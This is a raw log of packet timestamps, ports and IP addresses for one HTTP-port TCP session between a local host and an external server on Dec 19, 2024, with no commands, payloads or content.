Dec 19, 2024 20:11:49.878894091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.878972054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.882181883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.882285118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.882293940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.882347107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.885665894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.885751009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.885802031 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.889072895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.889139891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.889175892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.890511036 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.892510891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.892607927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.892642021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.892760038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.895874977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.896018028 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.896089077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.896167994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.899318933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.899431944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.899482965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.903199911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.903207064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.903260946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.906233072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.906303883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.906358004 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.909619093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.909691095 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.909801006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.909890890 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.913110018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.913163900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.913182974 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.913212061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.916711092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.916784048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.916800976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.916850090 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.919930935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.919990063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.920000076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.920047045 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.923371077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.923461914 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.923495054 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.923547983 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.926937103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.926984072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.926985025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.927045107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.930263042 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.930372000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:49.930412054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:49.930424929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.022586107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.022660017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.022711039 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.024104118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.024207115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.024264097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.027031898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.027081966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.028050900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.028218985 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.028249025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.028261900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.030946970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.031117916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.031148911 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.031163931 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.033785105 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.033973932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.034020901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.034503937 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.036542892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.036597967 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.036638975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.036962032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.039272070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.039424896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.039443016 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.039501905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.041899920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.041969061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.042099953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.042521000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.044550896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.044593096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.044791937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.045219898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.047113895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.047225952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.047276020 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.049788952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.049885988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.049933910 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.052189112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.052241087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.052520037 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.052581072 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.054707050 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.054999113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.055062056 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.057106972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.057197094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.057262897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.059530973 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.059603930 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.059616089 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.059776068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.061928034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.061974049 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.062002897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.062078953 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.064321995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.064450979 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.064455032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.064548016 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.066823959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.066979885 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.067028046 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.069205999 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.069353104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.069396973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.071597099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.071670055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.071732998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.071779013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.074146986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.074196100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.074237108 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.074278116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.076540947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.076594114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.076716900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.078057051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.078855991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.078912973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.078949928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.079003096 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.081245899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.081350088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.081358910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.081432104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.083723068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.084335089 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.084395885 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.086114883 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.086158991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.086247921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.086293936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.088568926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.088620901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.088643074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.090028048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.091000080 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.091048002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.091207027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.091248989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.093401909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.093447924 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.093760014 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.093811989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.095781088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.095899105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.096070051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.096110106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.098263025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.098517895 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.098750114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.098793030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.100644112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.100692987 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.100897074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.100935936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.103064060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.103135109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.103173971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.103221893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.105442047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.105845928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.105904102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.107886076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.108023882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.108072996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.110336065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.110411882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.110534906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.112029076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.112678051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.112750053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.112822056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.112868071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.115092039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.115370989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.115432978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.117513895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.117571115 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.117763996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.118520975 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.119939089 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.119992018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.120065928 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.120109081 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.122378111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.122430086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.122498989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.123955965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.124749899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.124814034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.124906063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.124949932 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.127192974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.127368927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.127424955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.129796028 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.129810095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.129862070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.132050991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.132064104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.132112026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.134422064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.134474039 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.134727001 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.136873007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.136934996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.136981010 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.138535023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.139301062 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.139348030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.139434099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.139475107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.141690969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.141737938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.141931057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.141973972 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.144108057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.144167900 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.144212961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.144258022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.146514893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.146569014 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.146775961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.147068977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.148953915 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.149013996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.149213076 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.149507999 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.222611904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.222661972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.222765923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.223056078 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.223105907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.223172903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.224831104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.224879980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.225250006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.226512909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.226646900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.226835966 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.226887941 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.228456020 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.229204893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.229260921 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.230274916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.230345964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.230638981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.230921030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.232063055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.232152939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.232206106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.233819008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.233894110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.234309912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.234488010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.235621929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.235671997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.235799074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.235840082 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.237296104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.237675905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.237732887 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.239150047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.239443064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.239496946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.240700006 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.240772963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.240840912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.242368937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.242417097 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.242710114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.244020939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.244075060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.244319916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.244363070 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.245687962 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.246148109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.246207952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.247339964 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.247646093 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.248234034 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.248672962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.249104023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.249150038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.249228001 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.249269962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.250598907 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.250802994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.250855923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.252223969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.252418041 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.252473116 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.253772974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.253860950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.253917933 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.255347013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.255562067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.255609035 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.256808043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.256858110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.257179022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.258378983 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.258424044 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.258481026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.259943008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.259994984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.260039091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.260082960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.261495113 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.261728048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.261744976 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.262516022 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.263000011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.263045073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:50.263113022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:50.263166904 CET	49877	80	192.168.2.4	31.41.244.11
